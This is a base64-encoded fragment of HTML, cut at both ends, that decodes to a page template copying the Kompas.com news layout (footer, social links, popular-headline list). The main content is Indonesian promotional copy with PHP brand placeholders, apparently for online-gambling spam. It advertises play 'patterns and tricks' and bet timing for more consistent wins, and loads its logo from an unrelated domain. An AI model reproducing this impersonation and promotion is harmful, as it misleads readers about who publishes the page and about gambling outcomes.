XJlbnQiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtYnM5LTciPgogICAgICAgICAgICAgICAgIAoKICAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8IS0tIHJlYWQgY29udGVudC0tPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVhZF9fY29udGVudCIgPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2xlYXJmaXgiPgo8cD4KPC9wPjxwPjxzdHJvbmc+QXBhIEl0dSA8Pz0gJGJyYW5kdXBwZXIgPz4/PC9zdHJvbmc+PC9wPgo8cD48YSBocmVmPSI8Pz0gJGNhbm9uaWNhbCA/PiIgc3R5bGU9ImNvbG9yOiMwMmJjYTI7Ij48Pz0gJGJyYW5kdXBwZXIgPz48L2E+IGhhZGlyIHNlYmFnYWkgcGxhdGZvcm0gaGlidXJhbiBkaWdpdGFsIHlhbmcgbWVuYXdhcmthbiBwZW5nYWxhbWFuIGJlcm1haW4gZ2FtZSBvbmxpbmUgZGVuZ2FuIGtvbnNlcCBtb2Rlcm4gZGFuIHNpc3RlbSBwZXJtYWluYW4geWFuZyBhZGFwdGlmLiBNZWxhbHVpIHNpc3RlbSB5YW5nIGRpcmFuY2FuZyBzdGFiaWwgZGFuIGFrc2VzIHlhbmcgcmluZ2FuLCA8Pz0gJGJyYW5kdXBwZXIgPz4gbWVtYmVyaWthbiBrZW55YW1hbmFuIGJhZ2kgcGVtYWluIHVudHVrIGZva3VzIG1lbmphbGFua2FuIHBlcm1haW5hbiB0YW5wYSBnYW5nZ3VhbiB0ZWtuaXMgeWFuZyBzZXJpbmcgbWVtYnVhdCByaXRtZSBiZXJtYWluIGphZGkgYmVyYW50YWthbi4gSW5pbGFoIHlhbmcgbWVtYnVhdCBiYW55YWsgcGVtYWluIG1lcmFzYSBsZWJpaCBwZXJjYXlhIGRpcmkga2V0aWthIG1lbmNvYmEgYmVyYmFnYWkgZ2FtZSBmYXZvcml0IG1lcmVrYSwga2FyZW5hIHNlbXVhIGJpc2EgZGlha3NlcyBkZW5nYW4gY2VwYXQsIHJlc3BvbnNpZiwgZGFuIHRldGFwIGxhbmNhciBtZXNraXB1biBkaW1haW5rYW4gZGkgamFtIHJhbWFpLjwvcD4KPHA+U2VsYWluIG1lbmdoYWRpcmthbiBha3NlcyB5YW5nIHByYWt0aXMsIDw/PSAkYnJhbmR1cHBlciA/PiBqdWdhIGRpa2VuYWwgZGVuZ2FuIGJlcmJhZ2FpIHJla29tZW5kYXNpIHBvbGEgZGFuIHRyaWsgYmVybWFpbiB5YW5nIHNlcmluZyBkaWJhZ2lrYW4gb2xlaCBrb211bml0YXMgcGVtYWluIGJlcnBlbmdhbGFtYW4uIEFuYWxpc2Egc2VwZXJ0aSBwZW1pbGloYW4gd2FrdHUgeWFuZyB0ZXBhdCwgcGVuZ2F0dXJhbiBiZXQgc2VjYXJhIGJlcnRhaGFwLCBoaW5nZ2EgbWVtYmFjYSByaXRtZSBwZXJtYWluYW4gbWVuamFkaSBiYWdpYW4gcGVudGluZyB5YW5nIG1lbWJ1YXQgcGVsdWFuZyBtZW5hbmcgdGVyYXNhIGxlYmloIHRlcnVrdXIuIEtvbnNlcCBiZXJtYWluIHNhbnRhaSBuYW11biB0ZXRhcCBtZW5nZ3VuYWthbiBzdHJhdGVnaSBpbmkgeWFuZyBrZW11ZGlhbiBtZW1idWF0IGJhbnlhayBwZW1haW4gbWVyYXNhIGhhc2lsbnlhIGxlYmloIGtvbnNpc3RlbiBkaWJhbmRpbmcgYmVybWFpbiB0YW5wYSBwZXJoaXR1bmdhbi4gRGVuZ2FuIHBlbmRla2F0YW4geWFuZyBsZWJpaCBtb2Rlcm4sIDw/PSAkYnJhbmR1cHBlciA/PiB0aWRhayBoYW55YSBtZW5qYWRpIHRlbXBhdCBiZXJtYWluLCB0ZXRhcGkganVnYSBtZW5qYWRpIHJ1YW5nIGJhZ2kgcGVtYWluIHVudHVrIG1lbWFoYW1pIGNhcmEgbWVuaWttYXRpIHBlcm1haW5hbiBzZWNhcmEgY2VyZGFzLCBtZW5nYXR1ciBzdHJhdGVnaSBkZW5nYW4gdGVuYW5nLCBkYW4gbWVtYWtzaW1hbGthbiBwZWx1YW5nIGtlbWVuYW5nYW4gdGFucGEgaGFydXMgdGVyYnVydS1idXJ1LjwvcD4KCgo8cD48L3A+CjxwPjwvcD4KCjwhLS0gREZQIE9TTSBFbmQgLS0+Cgo8c3BhbiBjbGFzcz0ibGlmdGRvd25fdjJfdGFuZGEiPjwvc3Bhbj48L2Rpdj4gICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPCEtLSBSZWsgVmlkZW8gLS0+CiAgICAgICAgICAgICAgICA8IS0tIGtnIG1lZGlhIHBsYXllciAtLT4KPGRpdiBjbGFzcz0ia2dudy10aHVtYiIgZGF0YS1rZ253LXB1Ymxpc2hlcj0ia29tcGFzY29tIj48L2Rpdj4KICAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgICAgICA8IS0tIHJlYWQgdGFnLS0+CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPCEtLSBwZXJzb25hbCBxdWl6IC0tPgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8IS0tIGJlcml0YSB0ZXJrYWl0LS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPCEtLSAoYWRzLmNlbnRlcikgLS0+CiAgICAgICAgCiAgICAgIDwvZGl2PiAKICAgIDxkaXYgY2xhc3M9ImNvbC1iczEwLTMiPgoKICAgICAgICA8IS0tIHRlcnBvcHVsZXItLT4KICAgICAgICA8IS0tIHRlcnBvcHVsZXItLT4KPGRpdiBjbGFzcz0ibW9zdCBnYS0tbW9zdCBtdDEgY2xlYXJmaXgiPgogICAgPGRpdiBjbGFzcz0idGl0bGUgdGl0bGUtLWNlbnRlciBjbGVhcmZpeCI+CiAgICAgICAgPGRpdiBjbGFzcz0idGl0bGVfX2NvbnRlbnQiPlRlcnBvcHVsZXI8L2Rpdj4KICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0ibW9zdF9fd3JhcCBjbGVhcmZpeCI+CiAgICAgICAgPGRpdiBjbGFzcz0ibW9zdF9fbGlzdCAgY2xlYXJmaXgiPiAKICAgIDxkaXYgY2xhc3M9Im1vc3RfX2NvdW50Ij4xPC9kaXY+CiAgICAgICAgPGEgY2xhc3M9Im1vc3RfX2xpbmsiIGhyZWY9Ijw/PSAkYW1waHRtbCA/PiI+CiAgICAgICAgPGRpdiBjbGFzcz0ibW9zdF9fdGl0bGUiPkRpIFBUQkkgMjAyNSwgQkkgVGVnYXNrYW4gUGVudGluZ255YSBTdGFiaWxpdGFzIE1ha3JvIGRhbiBUcmFuc2Zvcm1hc2kgRWtvbm9taTwvZGl2PiAKICAgICAgICAgICAgPC9hPgo8L2Rpdj4KPGRpdiBjbGFzcz0ibW9zdF9fbGlzdCAgY2xlYXJmaXgiPiAKICAgIDxkaXYgY2xhc3M9Im1vc3RfX2NvdW50Ij4yPC9kaXY+CiAgICAgICAgPGEgY2xhc3M9Im1vc3RfX2xpbmsiIGhyZWY9Ijw/PSAkYW1waHRtbCA/PiI+CiAgICAgICAgPGRpdiBjbGFzcz0ibW9zdF9fdGl0bGUiPkphZHdhbCBTaWFyYW4gTGFuZ3N1bmcgVGltbmFzIFB1dHJpIEluZG9uZXNpYSBWcyBUaGFpbGFuZCBkaSBTRUEgR2FtZXMgMjAyNTwvZGl2PiAKICAgICAgICAgICAgPC9hPgo8L2Rpdj4KPGRpdiBjbGFzcz0ibW9zdF9fbGlzdCAgY2xlYXJmaXgiPiAKICAgIDxkaXYgY2xhc3M9Im1vc3RfX2NvdW50Ij4zPC9kaXY+CiAgICAgICAgPGEgY2xhc3M9Im1vc3RfX2xpbmsiIGhyZWY9Ijw/PSAkYW1waHRtbCA/PiI+CiAgICAgICAgPGRpdiBjbGFzcz0ibW9zdF9fdGl0bGUiPkd1bnVuZyBNYXJhcGkgZGkgU3VtYmFyIE1lbGV0dXMsIFBWTUJHIEplbGFza2FuIEtvbmRpc2kgVGVya2luaTwvZGl2PiAKICAgICAgICAgICAgPC9hPgo8L2Rpdj4KPGRpdiBjbGFzcz0ibW9zdF9fbGlzdCAgY2xlYXJmaXgiPiAKICAgIDxkaXYgY2xhc3M9Im1vc3RfX2NvdW50Ij40PC9kaXY+CiAgICAgICAgPGEgY2xhc3M9Im1vc3RfX2xpbmsiIGhyZWY9Ijw/PSAkYW1waHRtbCA/PiI+CiAgICAgICAgPGRpdiBjbGFzcz0ibW9zdF9fdGl0bGUiPkN1YWNhIEVrc3RyZW0gSGluZ2dhIEZlYnJ1YXJpIDIwMjYsIEluaSBDYXJhIENlayBUaXRpayBCYW5qaXIgUGFrYWkgSFA8L2Rpdj4gCiAgICAgICAgICAgIDwvYT4KPC9kaXY+CjxkaXYgY2xhc3M9Im1vc3RfX2xpc3QgIGNsZWFyZml4Ij4gCiAgICA8ZGl2IGNsYXNzPSJtb3N0X19jb3VudCI+NTwvZGl2PgogICAgICAgIDxhIGNsYXNzPSJtb3N0X19saW5rIiBocmVmPSI8Pz0gJGFtcGh0bWwgPz4iPgogICAgICAgIDxkaXYgY2xhc3M9Im1vc3RfX3RpdGxlIj5FeWFuZyBOYXJ0bywgU2FuZyBQZW5qYWdhIEtlbGVzdGFyaWFuIFBlcG9ob25hbiBzZWphayAxOTczIGRpIFVLU1c8L2Rpdj4gCiAgICAgICAgICAgIDwvYT4KPC9kaXY+CiAgICA8L2Rpdj4KICAgICAgICAKPC9kaXY+CiAgICAgICAgPCEtLSAoYWRzLnJpZ2h0LjIpIC0tPgoKICAgICAgICA8IS0tIHRyZW5kaW5nLS0+CiAgICAgICAgPCEtLSB0cmVuZGluZy0tPgoKICAgICAgICA8IS0tIChhZHMucmlnaHQuMykgLS0+CiAgICAgICAgCiAgICAgICAgPCEtLSBwcmV2aW91cy0tPgogICAgICAgIAoKICAgIDwvZGl2PiAgICAgICAgICAgCjwvZGl2PgogICAgICAgIAogICAgPC9kaXY+CiAgICAKICAgIDwhLS0gZm9vdGVyLS0+CiAgICA8IS0tIG1vZGFscyAtLT4KPGRpdiBpZD0ia2NtLW1vZGFscyI+CiAgICA8ZGl2IGNsYXNzPSJtb2RhbHNfX2NvbnRlbnQiPjwvZGl2Pgo8L2Rpdj4KCjxkaXYgaWQ9InNzb19nX3NpZ25pbiI+CjwvZGl2Pgo8IS0tIGZvb3RlciAtLT4KPGRpdiBjbGFzcz0iZm9vdGVyTWFpbiBjbGVhcmZpeCI+CiAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPgoKICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXJXcmFwIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyQ29sLWNvbHVtbiI+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyTG9nbyI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iPD89ICRjYW5vbmljYWwgPz4iIGRhdGEtZ29vZ2xlLWludGVyc3RpdGlhbD0iZmFsc2UiPgogICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGNsYXNzPSJsb3phZCBmYWRlIiBkYXRhLXNyYz0iaHR0cHM6Ly92cDEudGhldmlsZXByb2plY3QueHl6L2JyYW5kLWxvZ28vPD89ICRicmFuZGxvd2VyID8+L2xvZ28ucG5nIiBhbHQ9Ijw/PSAkYnJhbmR1cHBlciA/PjogU2Vuc2FzaSBEdW5pYSBHYW1lIE9ubGluZSBkZW5nYW4gU2lzdGVtIFBlcm1haW5hbiBBZGFwdGlmIiB3aWR0aD0iMjA3IiBoZWlnaHQ9IjI2IiBzcmM9Imh0dHBzOi8vdnAxLnRoZXZpbGVwcm9qZWN0Lnh5ei9icmFuZC1sb2dvLzw/PSAkYnJhbmRsb3dlciA/Pi9sb2dvLnBuZyIgZGF0YS1sb2FkZWQ9InRydWUiIC8+CiAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyU29zbWVkIj4KICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9ImZvb3RlclNvc21lZC13cmFwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL2tvbXBhc2NvbSIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb290ZXJTb3NtZWQtbGluayIgYXJpYS1sYWJlbD0iRmFjZWJvb2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Imljb25Tb3MgaWNvblNvcy1mYWNlYm9vayI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHBzOi8vd3d3LnR3aXR0ZXIuY29tL2tvbXBhc2NvbSIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb290ZXJTb3NtZWQtbGluayIgYXJpYS1sYWJlbD0iWCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaWNvblNvcyBpY29uU29zLXgiPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJodHRwczovL3QubWUva29tcGFzY29tdXBkYXRlIiB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9ImZvb3RlclNvc21lZC1saW5rIiBhcmlhLWxhYmVsPSJUZWxlZ3JhbSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaWNvblNvcyBpY29uU29zLXRlbGVncmFtIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly9pbnN0YWdyYW0uY29tL2tvbXBhc2NvbSIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb290ZXJTb3NtZWQtbGluayIgYXJpYS1sYWJlbD0iSW5zdGFncmFtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpY29uU29zIGljb25Tb3MtaW5zdGFncmFtIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0iZm9vdGVyU29zbWVkLXdyYXAiPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJodHRwczovL3d3dy55b3V0dWJlLmNvbS9jL215a29tcGFzY29tIiB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9ImZvb3RlclNvc21lZC1saW5rIiBhcmlhLWxhYmVsPSJZb3V0dWJlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpY29uU29zIGljb25Tb3MteW91dHViZSI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHBzOi8va21wLmltL0FHRmVUeSIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb290ZXJTb3NtZWQtbGluayIgYXJpYS1sYWJlbD0iV2hhdHNhcHAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Imljb25Tb3MgaWNvblNvcy13aGF0c2FwcCI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHBzOi8vd3d3LnRpa3Rvay5jb20vQGtvbXBhc2NvbT9sYW5nJiN4M0Q7ZW4iIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0iZm9vdGVyU29zbWVkLWxpbmsiIGFyaWEtbGFiZWw9IlRpa3RvayI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaWNvblNvcyBpY29uU29zLXRpa3RvayI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3RlckRvd25sb2FkIj4KICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9ImZvb3RlckRvd25sb2FkLXdyYXAiPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJodHRwczovL2FwcHMuYXBwbGUuY29tL2lkL2FwcC9rb21wYXMtY29tLWJlcml0YS10ZXJwZXJjYXlhL2lkNTM1NDgzMDU1IiB0YXJnZXQ9Il9ibGFuayI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyRG93bmxvYWQtc3RvcmUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGNsYXNzPSJsb3phZCBmYWRlIiBkYXRhLXNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAxNy9tb2JpbGUvaW1hZ2VzL2lkLWJhZGdlLWFwcHN0b3JlLnBuZyIgYWx0PSJhcHBsZSBzdG9yZSIgc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDE3L21vYmlsZS9pbWFnZXMvaWQtYmFkZ2UtYXBwc3RvcmUucG5nIiBkYXRhLWxvYWRlZD0idHJ1ZSIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly9wbGF5Lmdvb2dsZS5jb20vc3RvcmUvYXBwcy9kZXRhaWxzP2lkPWNvbS5lcnRhbnRvLmtvbXBhcy5vZmZpY2lhbCZobD1lbiZnbD1VUyIgdGFyZ2V0PSJfYmxhbmsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3RlckRvd25sb2FkLXN0b3JlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBjbGFzcz0ibG96YWQgZmFkZSIgZGF0YS1zcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMTcvbW9iaWxlL2ltYWdlcy9pZC1iYWRnZS1wbGF5c3RvcmUucG5nIiBhbHQ9Imdvb2dsZSBzdG9yZSIgc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDE3L21vYmlsZS9pbWFnZXMvaWQtYmFkZ2UtcGxheXN0b3JlLnBuZyIgZGF0YS1sb2FkZWQ9InRydWUiIC8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3RlckFjaGlldmVtZW50Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXJBY2hpZXZlbWVudC10aXRsZSI+CiAgICAgICAgICAgICAgICAgICAgICAgIFBlbmdoYXJnYWFuIGRhbiBzZXJ0aWZpa2F0OgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3RlckFjaGlldmVtZW50LXdyYXAiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXJBY2hpZXZlbWVudC1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9IiMiIGNsYXNzPSJmb290ZXJBY2hpZXZlbWVudC1saW5rIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXJBY2hpZXZlbWVudC1pbWciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGNsYXNzPSJsb3phZCBmYWRlIiBkYXRhLXNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAxNy93cC9pbWFnZXMvbG9nby13b3dicmFuZHMtMjAxOS5wbmciIGFsdD0iV09XIEJyYW5kIEluZG9uZXNpYSAyMDE5IiB0aXRsZT0iV09XIEJyYW5kIEluZG9uZXNpYSAyMDE5IiBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMTcvd3AvaW1hZ2VzL2xvZ28td293YnJhbmRzLTIwMTkucG5nIiBkYXRhLWxvYWRlZD0idHJ1ZSIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3RlckFjaGlldmVtZW50LWl0ZW0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyQWNoaWV2ZW1lbnQtbGluayI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly9tb25leS5rb21wYXMuY29tL3JlYWQvMjAxOS8wOC8wMS8xMjQyMTU4MjYva29tcGFzY29tLWtlbWJhbGktamFkaS1wZW1lbmFuZy1rYXRlZ29yaS1tZWRpYS1vbmxpbmUtdGVwZXJjYXlhIiBjbGFzcz0iZm9vdGVyQWNoaWV2ZW1lbnQtbGluayI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3RlckFjaGlldmVtZW50LWltZyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGNsYXNzPSJsb3phZCBmYWRlIiBkYXRhLXNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAxNy93cC9pbWFnZXMvbG9nby1zdXBlcmJyYW5kcy0yMDE5LnBuZyIgYWx0PSJTdXBlcmJyYW5kIEluZG9uZXNpYSAyMDE5IC0gVHJ1c3RlZCBPbmxpbmUgTmV3cyIgdGl0bGU9IlN1cGVyYnJhbmRzIEluZG9uZXNpYSAyMDE5IiBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMTcvd3AvaW1hZ2VzL2xvZ28tc3VwZXJicmFuZHMtMjAxOS5wbmciIGRhdGEtbG9hZGVkPSJ0cnVlIiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3RlckFjaGlldmVtZW50LWl0ZW0iPgoJICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly9pZmNuY29kZW9mcHJpbmNpcGxlcy5wb3ludGVyLm9yZy9wcm9maWxlL3B0LWtvbXBhcy1jeWJlci1tZWRpYSIgY2xhc3M9ImZvb3RlckFjaGlldmVtZW50LWxpbmsiIHRhcmdldD0iX2JsYW5rIj4KCSAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXJBY2hpZXZlbWVudC1pbWciPgoJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGNsYXNzPSJsb3phZCBmYWRlIiBkYXRhLXNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyNC93cC9pbWFnZXMvZGVza3RvcC9sb2dvLWlmY24ucG5nIiBhbHQ9IkludGVybmF0aW9uYWwgRmFjdC1DaGVja2luZyBOZXR3b3JrIiB0aXRsZT0iSW50ZXJuYXRpb25hbCBGYWN0LUNoZWNraW5nIE5ldHdvcmsiIGxvYWRpbmc9ImxhenkiIHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyNC93cC9pbWFnZXMvZGVza3RvcC9sb2dvLWlmY24ucG5nIiBkYXRhLWxvYWRlZD0idHJ1ZSIgLz4KCSAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCSAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KCSAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXJOZXdzbGV0dGVyIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXJOZXdzbGV0dGVyLXRpdGxlIj4KICAgICAgICAgICAgICAgICAgICAgICAgRGFwYXRrYW4ga2VtZW5hbmdhbiBkYW4gcHVuZGkgcHVuZGkgcGlsaWhhbiBkaSA8Pz0gJGJyYW5kdXBwZXIgPz48L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyTmV3c2xldHRlci1jdGEiPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI8Pz0gJGFtcGh0bWwgPz4iY2xhc3M9ImZvb3Rlck5ld3NsZXR0ZXItbGluayIgcmVsPSJub2ZvbGxvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iaWNvbk5ld3NsZXR0ZXIiPjwvaT4gREFGVEFSCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3RlckNvbC1uYXYiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyTWVudS10aXRsZSI+S2FuYWw8L2Rpdj4KCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXJNZW51Ij4KICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9ImZvb3Rlck1lbnUtd3JhcCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5OZXdzPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5OYXNpb25hbDwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyIgY2xhc3M9ImZvb3Rlck1lbnUtbGluayI+R2xvYmFsPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5NZWdhcG9saXRhbjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyIgY2xhc3M9ImZvb3Rlck1lbnUtbGluayI+UmVnaW9uYWw8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiPlBlbWlsdTwvYT48L2xpPgogIC